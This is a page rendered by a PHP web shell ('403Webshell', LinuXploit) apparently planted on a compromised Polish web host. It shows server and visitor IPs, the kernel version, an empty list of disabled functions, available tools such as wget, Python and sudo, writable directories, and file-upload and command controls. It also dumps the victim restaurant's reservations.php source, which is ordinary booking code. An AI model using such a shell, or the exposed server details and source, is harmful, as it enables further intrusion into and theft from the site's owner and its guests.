403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/reservations.php
<?php
declare(strict_types=1);

function ensure_reservations_schema(): void
{
    db()->exec(
        "CREATE TABLE IF NOT EXISTS reservations (
            id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            reservation_code VARCHAR(40) DEFAULT NULL,
            guest_name VARCHAR(160) NOT NULL,
            phone VARCHAR(80) NOT NULL,
            email VARCHAR(190) NOT NULL,
            reservation_date DATE NOT NULL,
            reservation_time TIME NOT NULL,
            guests SMALLINT UNSIGNED NOT NULL DEFAULT 2,
            notes TEXT DEFAULT NULL,
            status VARCHAR(30) NOT NULL DEFAULT 'new',
            internal_note TEXT DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
            confirmed_at DATETIME DEFAULT NULL,
            cancelled_at DATETIME DEFAULT NULL,
            UNIQUE KEY uq_reservation_code (reservation_code),
            INDEX idx_reservation_date (reservation_date, reservation_time),
            INDEX idx_reservation_status (status),
            INDEX idx_reservation_email (email)
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    db()->exec(
        "CREATE TABLE IF NOT EXISTS reservation_events (
            id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            reservation_id INT UNSIGNED NOT NULL,
            event_type VARCHAR(40) NOT NULL,
            message TEXT DEFAULT NULL,
            admin_user_id INT UNSIGNED DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            INDEX idx_res_event_reservation (reservation_id),
            CONSTRAINT fk_res_event_reservation
                FOREIGN KEY (reservation_id) REFERENCES reservations(id) ON DELETE CASCADE
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );
}

function reservation_default_settings(): array
{
    return [
        'reservations_enabled' => '1',
        'reservation_admin_email' => setting('email', ''),
        'reservation_min_guests' => '1',
        'reservation_max_guests' => '20',
        'reservation_days_ahead' => '90',
        'reservation_intro' => 'Wyślij prośbę o rezerwację stolika. Rezerwacja zostanie potwierdzona przez obsługę.',
        'reservation_success_message' => 'Dziękujemy. Otrzymaliśmy prośbę o rezerwację. Potwierdzenie wyślemy osobną wiadomością.',
        'reservation_auto_reply_enabled' => '1',
        'reservation_received_subject' => 'Otrzymaliśmy Twoją prośbę o rezerwację – {site}',
        'reservation_received_body' => "Cześć {name},\n\notrzymaliśmy Twoją prośbę o rezerwację {code} na {date} o {time} dla {guests} osób.\n\nTo jeszcze nie jest potwierdzenie stolika. Obsługa sprawdzi dostępność i wróci z odpowiedzią.\n\nDo zobaczenia,\n{site}",
        'reservation_confirmed_subject' => 'Rezerwacja potwierdzona – {site}',
        'reservation_confirmed_body' => "Cześć {name},\n\npotwierdzamy rezerwację {code} na {date} o {time} dla {guests} osób.\n\nDo zobaczenia!\n{site}",
        'reservation_rejected_subject' => 'Odpowiedź w sprawie rezerwacji – {site}',
        'reservation_rejected_body' => "Cześć {name},\n\nniestety nie możemy potwierdzić rezerwacji {code} na {date} o {time} dla {guests} osób.\n\nSkontaktuj się z nami, a spróbujemy znaleźć inny termin.\n\n{site}",
        'reservation_cancelled_subject' => 'Rezerwacja anulowana – {site}',
        'reservation_cancelled_body' => "Cześć {name},\n\nrezerwacja {code} na {date} o {time} została anulowana.\n\n{site}",
        'smtp_enabled' => '0',
        'smtp_host' => '',
        'smtp_port' => '587',
        'smtp_security' => 'starttls',
        'smtp_username' => '',
        'smtp_from_email' => setting('email', ''),
        'smtp_from_name' => setting('site_name', APP_NAME),
    ];
}

function reservation_setting(string $key): string
{
    $defaults = reservation_default_settings();
    return setting($key, $defaults[$key] ?? '');
}

function reservations_enabled(): bool
{
    return reservation_setting('reservations_enabled') === '1';
}

function reservation_statuses(): array
{
    return [
        'new' => 'Nowa',
        'confirmed' => 'Potwierdzona',
        'rejected' => 'Odrzucona',
        'cancelled' => 'Anulowana',
        'completed' => 'Zrealizowana',
    ];
}

function reservation_status_label(string $status): string
{
    return reservation_statuses()[$status] ?? $status;
}

function reservation_add_event(
    int $reservationId,
    string $type,
    string $message = '',
    ?int $adminUserId = null
): void {
    ensure_reservations_schema();

    $stmt = db()->prepare(
        'INSERT INTO reservation_events
         (reservation_id, event_type, message, admin_user_id)
         VALUES (?, ?, ?, ?)'
    );
    $stmt->execute([
        $reservationId,
        $type,
        $message !== '' ? $message : null,
        $adminUserId,
    ]);
}

function reservation_by_id(int $id): ?array
{
    ensure_reservations_schema();

    $stmt = db()->prepare('SELECT * FROM reservations WHERE id = ? LIMIT 1');
    $stmt->execute([$id]);
    $row = $stmt->fetch();

    return $row ?: null;
}

function reservation_by_code(string $code): ?array
{
    ensure_reservations_schema();

    $stmt = db()->prepare('SELECT * FROM reservations WHERE reservation_code = ? LIMIT 1');
    $stmt->execute([$code]);
    $row = $stmt->fetch();

    return $row ?: null;
}

function reservation_events(int $reservationId): array
{
    ensure_reservations_schema();

    $stmt = db()->prepare(
        'SELECT e.*, u.name AS admin_name, u.username AS admin_username
         FROM reservation_events e
         LEFT JOIN users u ON u.id = e.admin_user_id
         WHERE e.reservation_id = ?
         ORDER BY e.id DESC'
    );
    $stmt->execute([$reservationId]);

    return $stmt->fetchAll();
}

function reservation_code_for_id(int $id, string $date): string
{
    return sprintf('POLANA-%04d', $id);
}

/** POLANA V18.13: #POLANA-XXXX dla nowych i starych kodow bez migracji bazy. */
function reservation_display_code(string $code): string
{
    $code = trim($code);
    if (preg_match('/^#?POLANA-(\d+)$/D', $code, $m)) return '#POLANA-' . str_pad($m[1], 4, '0', STR_PAD_LEFT);
    if (preg_match('/^MPS-\d{8}-(\d+)$/D', $code, $m)) return '#POLANA-' . str_pad($m[1], 4, '0', STR_PAD_LEFT);
    return $code;
}

function reservation_create(array $data): array
{
    ensure_reservations_schema();
    $pdo = db();
    $pdo->beginTransaction();
    try {
        $stmt = $pdo->prepare(
            'INSERT INTO reservations
            (guest_name, phone, email, reservation_date, reservation_time, guests, notes, status)
            VALUES (?, ?, ?, ?, ?, ?, ?, "new")'
        );
        $stmt->execute([
            trim((string)$data['guest_name']),
            trim((string)$data['phone']),
            trim((string)$data['email']),
            (string)$data['reservation_date'],
            (string)$data['reservation_time'],
            (int)$data['guests'],
            trim((string)($data['notes'] ?? '')) ?: null,
        ]);

        $id = (int)$pdo->lastInsertId();
        $code = reservation_code_for_id($id, (string)$data['reservation_date']);
        $stmt = $pdo->prepare('UPDATE reservations SET reservation_code = ? WHERE id = ?');
        $stmt->execute([$code, $id]);

        // Rejestrujemy zdarzenie bez ponownego CREATE TABLE, który w MySQL
        // wykonywałby niejawny COMMIT wewnątrz transakcji.
        $event = $pdo->prepare(
            'INSERT INTO reservation_events (reservation_id, event_type, message, admin_user_id)
             VALUES (?, "created", ?, NULL)'
        );
        $event->execute([$id, 'Prośba o rezerwację została wysłana przez formularz.']);

        $stmt = $pdo->prepare('SELECT * FROM reservations WHERE id = ? LIMIT 1');
        $stmt->execute([$id]);
        $reservation = $stmt->fetch(PDO::FETCH_ASSOC);
        if (!$reservation) {
            throw new RuntimeException('Nie udało się odczytać zapisanej rezerwacji.');
        }
        $pdo->commit();
        return $reservation;
    } catch (Throwable $e) {
        if ($pdo->inTransaction()) $pdo->rollBack();
        throw $e;
    }
}

/**
 * Blokada idempotentna obejmująca obie domeny korzystające z tej samej bazy.
 * GET_LOCK w MySQL/MariaDB serializuje zapis dla telefonu oraz e-maila.
 * Brak uprawnienia/blokady = brak zapisu (fail closed).
 * Nie usuwa starych duplikatów i nie wymaga ALTER TABLE.
 */
function reservation_contact_keys(array $data): array
{
    $phone = preg_replace('/[^0-9]/', '', (string)($data['phone'] ?? '')) ?? '';
    if (strlen($phone) === 11 && str_starts_with($phone, '48')) {
        $phone = substr($phone, 2);
    }
    $email = mb_strtolower(trim((string)($data['email'] ?? '')), 'UTF-8');
    $keys = [];
    if ($phone !== '') {
        $keys[] = 'phone:' . $phone;
    }
    if ($email !== '') {
        $keys[] = 'email:' . $email;
    }
    return $keys;
}

function reservation_create_once(array $data): array
{
    ensure_reservations_schema();
    $pdo = db();
    $date = (string)$data['reservation_date'];
    $time = substr((string)$data['reservation_time'], 0, 5) . ':00';
    $contacts = reservation_contact_keys($data);
    if (!$contacts) {
        throw new RuntimeException('Brak danych kontaktowych do rezerwacji.');
    }

    $lockNames = [];
    foreach ($contacts as $key) {
        $lockNames[] = 'mps-res-' . substr(hash('sha256', $date . '|' . $time . '|' . $key), 0, 52);
    }
    sort($lockNames, SORT_STRING);  // Stała kolejność zapobiega zakleszczeniu.
    $lockNames = array_values(array_unique($lockNames));
    $acquired = [];
    try {
        $getLock = $pdo->prepare('SELECT GET_LOCK(?, 10)');
        foreach ($lockNames as $lockName) {
            $getLock->execute([$lockName]);
            $result = $getLock->fetchColumn();
            $getLock->closeCursor();
            if ((string)$result !== '1') {
                throw new RuntimeException('System rezerwacji jest zajęty. Spróbuj ponownie za chwilę.');
            }
            $acquired[] = $lockName;
        }

        // Porównujemy znormalizowane kontakty; ignorujemy odrzucone/anulowane.
        // Dwa telefony zapisane np. „+48 604 123 456” oraz „604123456” są tym samym.
        $check = $pdo->prepare(
            "SELECT id, phone, email FROM reservations
             WHERE reservation_date = ? AND reservation_time = ?
               AND status NOT IN ('cancelled', 'rejected')"
        );
        $check->execute([$date, $time]);
        foreach ($check as $existing) {
            if (array_intersect($contacts, reservation_contact_keys($existing))) {
                $check->closeCursor();
                return ['created' => false, 'reservation' => null];
            }
        }
        $check->closeCursor();

        // reservation_create pozostaje jedyną ścieżką INSERT wraz z kodem i historią.
        // Locki utrzymujemy do zakończenia wszystkich zapisów.
        $reservation = reservation_create($data);
        return ['created' => true, 'reservation' => $reservation];
    } finally {
        if ($acquired) {
            $release = $pdo->prepare('SELECT RELEASE_LOCK(?)');
            foreach (array_reverse($acquired) as $lockName) {
                try {
                    $release->execute([$lockName]);
                    $release->closeCursor();
                } catch (Throwable $ignored) {
                    error_log('[POLANA RESERVATIONS] Nie udało się zwolnić blokady.');
                }
            }
        }
    }
}

function reservation_template_values(array $reservation): array
{
    $date = DateTimeImmutable::createFromFormat('Y-m-d', (string)$reservation['reservation_date']);
    $time = substr((string)$reservation['reservation_time'], 0, 5);

    return [
        '{code}' => reservation_display_code((string)$reservation['reservation_code']),
        '{name}' => (string)$reservation['guest_name'],
        '{date}' => $date ? $date->format('d.m.Y') : (string)$reservation['reservation_date'],
        '{time}' => $time,
        '{guests}' => (string)$reservation['guests'],
        '{phone}' => (string)$reservation['phone'],
        '{email}' => (string)$reservation['email'],
        '{notes}' => (string)($reservation['notes'] ?? ''),
        '{site}' => setting('site_name', APP_NAME),
    ];
}

function reservation_fill_template(string $template, array $reservation): string
{
    return strtr($template, reservation_template_values($reservation));
}

function reservation_email_html(string $title, string $body): string
{
    $safeTitle = e($title);
    $safeBody = nl2br(e($body));
    $logo = asset_v('img/logo-splash.png');

    return '<!doctype html>
<html lang="pl">
<head><meta charset="utf-8"></head>
<body style="margin:0;background:#f4f2eb;font-family:Arial,Helvetica,sans-serif;color:#111">
<table role="presentation" width="100%" cellpadding="0" cellspacing="0" style="background:#f4f2eb;padding:24px">
<tr><td align="center">
<table role="presentation" width="100%" cellpadding="0" cellspacing="0" style="max-width:620px;background:#fff;border-radius:18px;overflow:hidden">
<tr><td style="padding:28px 34px 10px;text-align:center">
<img src="' . e($logo) . '" alt="' . e(setting('site_name', APP_NAME)) . '" style="max-width:220px;height:auto">
</td></tr>
<tr><td style="padding:14px 34px 34px">
<h1 style="font-size:26px;margin:0 0 18px">' . $safeTitle . '</h1>
<div style="font-size:16px;line-height:1.65;color:#383838">' . $safeBody . '</div>
</td></tr>
</table>
</td></tr>
</table>
</body>
</html>';
}

function reservation_send_admin_notification(array $reservation): void
{
    $adminEmail = trim(reservation_setting('reservation_admin_email'));

    if ($adminEmail === '') {
        return;
    }

    $values = reservation_template_values($reservation);

    $subject = 'Nowa rezerwacja ' . $values['{code}'] . ' – ' .
        $values['{date}'] . ' ' . $values['{time}'];

    $body =
        "Nowa prośba o rezerwację.\n\n" .
        "Kod: {$values['{code}']}\n" .
        "Gość: {$values['{name}']}\n" .
        "Termin: {$values['{date}']} o {$values['{time}']}\n" .
        "Liczba osób: {$values['{guests}']}\n" .
        "Telefon: {$values['{phone}']}\n" .
        "E-mail: {$values['{email}']}\n" .
        ($values['{notes}'] !== '' ? "Uwagi: {$values['{notes}']}\n" : '') .
        "\nPanel: " . site_url('/admin/reservation.php?id=' . (int)$reservation['id']);

    smtp_send_mail(
        $adminEmail,
        $subject,
        pv175_email_html('Nowa rezerwacja', $body, $reservation, 'admin'),
        $body,
        (string)$reservation['email']
    );

    reservation_add_event(
        (int)$reservation['id'],
        'email',
        'Powiadomienie SMTP wysłane do obsługi: ' . $adminEmail
    );
}

function reservation_send_guest_message(array $reservation, string $kind): void
{
    if (trim((string)$reservation['email']) === '') {
        return;
    }

    $subjectKey = 'reservation_' . $kind . '_subject';
    $bodyKey = 'reservation_' . $kind . '_body';

    $subject = reservation_fill_template(reservation_setting($subjectKey), $reservation);
    $body = reservation_fill_template(reservation_setting($bodyKey), $reservation);

    smtp_send_mail(
        (string)$reservation['email'],
        $subject,
        pv175_email_html($subject, $body, $reservation, $kind),
        $body,
        trim(reservation_setting('reservation_admin_email')) ?: null
    );

    reservation_add_event(
        (int)$reservation['id'],
        'email',
        'Wiadomość "' . $kind . '" wysłana do gościa.'
    );
}

/** POLANA_V1813_STAFF_STATUS — po zmianie statusu, osobne powiadomienie do obslugi. */
function reservation_send_admin_status_notification(array $reservation, string $status): void
{
    $to = trim(reservation_setting('reservation_admin_email'));
    if ($to === '' || !filter_var($to, FILTER_VALIDATE_EMAIL)) {
        throw new RuntimeException('Brak prawidlowego adresu powiadomien restauracji.');
    }
    $values = reservation_template_values($reservation);
    $statuses = ['confirmed' => 'POTWIERDZONA', 'rejected' => 'ODRZUCONA', 'cancelled' => 'ANULOWANA'];
    if (!isset($statuses[$status])) return;
    $subject = 'POLANA — ' . $statuses[$status] . ' ' . $values['{code}'];
    $body = "Zmiana statusu rezerwacji: " . $statuses[$status] . "\n\n" .
            "Numer: " . $values['{code}'] . "\n" .
            "Gosc: " . $values['{name}'] . "\n" .
            "Termin: " . $values['{date}'] . ' ' . $values['{time}'] . "\n" .
            "Liczba gosci: " . $values['{guests}'] . "\n" .
            "Telefon: " . $values['{phone}'] . "\n" .
            "E-mail: " . $values['{email}'] . "\n\n" .
            "Panel: " . site_url('/admin/reservation.php?id=' . (int)$reservation['id']);
    smtp_send_mail($to, $subject, reservation_email_html($subject, $body), $body);
    reservation_add_event((int)$reservation['id'], 'email', 'Powiadomienie o statusie ' . $status . ' przyjete przez SMTP dla obslugi.');
}

function reservation_send_after_create(array $reservation): array
{
    $results = [
        'admin' => null,
        'guest' => null,
    ];

    if (setting('smtp_enabled', '0') !== '1') {
        return $results;
    }

    try {
        reservation_send_admin_notification($reservation);
        $results['admin'] = true;
    } catch (Throwable $e) {
        $results['admin'] = false;
        reservation_add_event(
            (int)$reservation['id'],
            'email_error',
            'Błąd powiadomienia obsługi: ' . $e->getMessage()
        );
    }

    if (reservation_setting('reservation_auto_reply_enabled') === '1') {
        try {
            reservation_send_guest_message($reservation, 'received');
            $results['guest'] = true;
        } catch (Throwable $e) {
            $results['guest'] = false;
            reservation_add_event(
                (int)$reservation['id'],
                'email_error',
                'Błąd autorespondera: ' . $e->getMessage()
            );
        }
    }

    return $results;
}

function reservation_change_status(
    int $id,
    string $status,
    ?int $adminUserId = null
): array {
    $previous = reservation_by_id($id);
    if (!$previous) throw new RuntimeException('Nie znaleziono rezerwacji.');
    $allowed = array_keys(reservation_statuses());

    if (!in_array($status, $allowed, true)) {
        throw new InvalidArgumentException('Nieprawidłowy status rezerwacji.');
    }

    $sql = 'UPDATE reservations SET status = ?';
    $params = [$status];

    if ($status === 'confirmed') {
        $sql .= ', confirmed_at = NOW()';
    }

    if ($status === 'cancelled') {
        $sql .= ', cancelled_at = NOW()';
    }

    $sql .= ' WHERE id = ?';
    $params[] = $id;

    $stmt = db()->prepare($sql);
    $stmt->execute($params);

    reservation_add_event(
        $id,
        'status',
        'Status zmieniony na: ' . reservation_status_label($status),
        $adminUserId
    );

    $reservation = reservation_by_id($id);

    if (!$reservation) {
        throw new RuntimeException('Nie znaleziono rezerwacji po zmianie statusu.');
    }

    if (
        setting('smtp_enabled', '0') === '1' &&
        (string)$previous['status'] !== $status &&
        in_array($status, ['confirmed', 'rejected', 'cancelled'], true)
    ) {
        try {
            reservation_send_guest_message($reservation, $status);
        } catch (Throwable $e) {
            reservation_add_event(
                $id,
                'email_error',
                'Błąd wiadomości statusowej: ' . $e->getMessage(),
                $adminUserId
            );
        }
    }

    // POLANA V18.13: tylko faktyczna zmiana decyzji, nie powtarzane klikniecie.
    if ((string)$previous['status'] !== $status && setting('smtp_enabled', '0') === '1'
        && in_array($status, ['confirmed', 'rejected', 'cancelled'], true)) {
        try {
            reservation_send_admin_status_notification($reservation, $status);
        } catch (Throwable $e) {
            reservation_add_event($id, 'email_error', 'Powiadomienie obslugi o statusie: ' . $e->getMessage(), $adminUserId);
        }
    }
    // Nie wysyłamy powtórnego ntfy, jeśli status nie uległ zmianie.
    if ((string)$previous['status'] !== $status) {
        try {
            require_once __DIR__ . '/reservation_integrations.php';
            polana_ntfy_reservation($reservation, 'status');
        } catch (Throwable $notifyError) {
            error_log('[POLANA NTFY STATUS] ' . $notifyError->getMessage());
        }
    }
    // POLANA_V1818_GCAL_AUTO_STATUS — wyłącznie po rzeczywistej zmianie statusu.
    if (is_array($previous) && (string)($previous['status'] ?? '') !== (string)$status) {
        try {
            require_once __DIR__ . '/polana_gcal.php';
            if (!function_exists('pg173_after_change')) {
                throw new RuntimeException('Brak pg173_after_change w polana_gcal.php');
            }
            pg173_after_change((int)$id, (int)$adminUserId);
        } catch (Throwable $calendarError) {
            error_log('[POLANA V18.18 CALENDAR] Rezerwacja #'.(int)$id.': '.$calendarError->getMessage());
            if (function_exists('reservation_add_event')) {
                try {
                    reservation_add_event((int)$id, 'calendar_error', 'Automatyczna synchronizacja Google: '.substr($calendarError->getMessage(), 0, 200), (int)$adminUserId);
                } catch (Throwable $ignored) {}
            }
        }
    }
    return $reservation;
}

/* POLANA_V175_RESERVATIONS */
require_once __DIR__.'/polana_v175_booking.php';

function reservation_validate_public_input(array $input): array
{
    $errors = [];

    $name = trim((string)($input['guest_name'] ?? ''));
    $phone = trim((string)($input['phone'] ?? ''));
    $email = trim((string)($input['email'] ?? ''));
    $date = trim((string)($input['reservation_date'] ?? ''));
    $time = trim((string)($input['reservation_time'] ?? ''));
    $guests = (int)($input['guests'] ?? 0);
    $notes = trim((string)($input['notes'] ?? ''));

    if (mb_strlen($name, 'UTF-8') < 2) {
        $errors[] = 'Podaj imię i nazwisko.';
    }

    if (mb_strlen($phone, 'UTF-8') < 6) {
        $errors[] = 'Podaj numer telefonu.';
    }

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = 'Podaj prawidłowy adres e-mail.';
    }

    $dateObj = DateTimeImmutable::createFromFormat('!Y-m-d', $date);
    $today = new DateTimeImmutable('today');
    $maxDate = $today->modify('+' . max(1, (int)reservation_setting('reservation_days_ahead')) . ' days');

    if (!$dateObj || $dateObj < $today || $dateObj > $maxDate) {
        $errors[] = 'Wybierz prawidłową datę rezerwacji.';
    }

    if (!preg_match('/^(?:[01]\d|2[0-3]):[0-5]\d$/', $time)) {
        $errors[] = 'Wybierz prawidłową godzinę.';
    }

    $minGuests = max(1, (int)reservation_setting('reservation_min_guests'));
    $maxGuests = max($minGuests, (int)reservation_setting('reservation_max_guests'));

    if ($guests < $minGuests || $guests > $maxGuests) {
        $errors[] = 'Liczba osób musi mieścić się w zakresie ' . $minGuests . '–' . $maxGuests . '.';
    }

    if (empty($input['consent'])) {
        $errors[] = 'Zaznacz zgodę na kontakt w sprawie rezerwacji.';
    }

    /* POLANA_V175_SERVER_VALIDATION — no bypass by manual POST */
    $slotCheck = pv175_validate_slot($date, $time);
    if (!$slotCheck['ok']) $errors[] = $slotCheck['message'];

    return [
        'errors' => $errors,
        'data' => [
            'guest_name' => $name,
            'phone' => $phone,
            'email' => $email,
            'reservation_date' => $date,
            'reservation_time' => $time,
            'guests' => $guests,
            'notes' => $notes,
        ],
    ];
}

Youez - 2016 - github.com/yon3zu
LinuXploit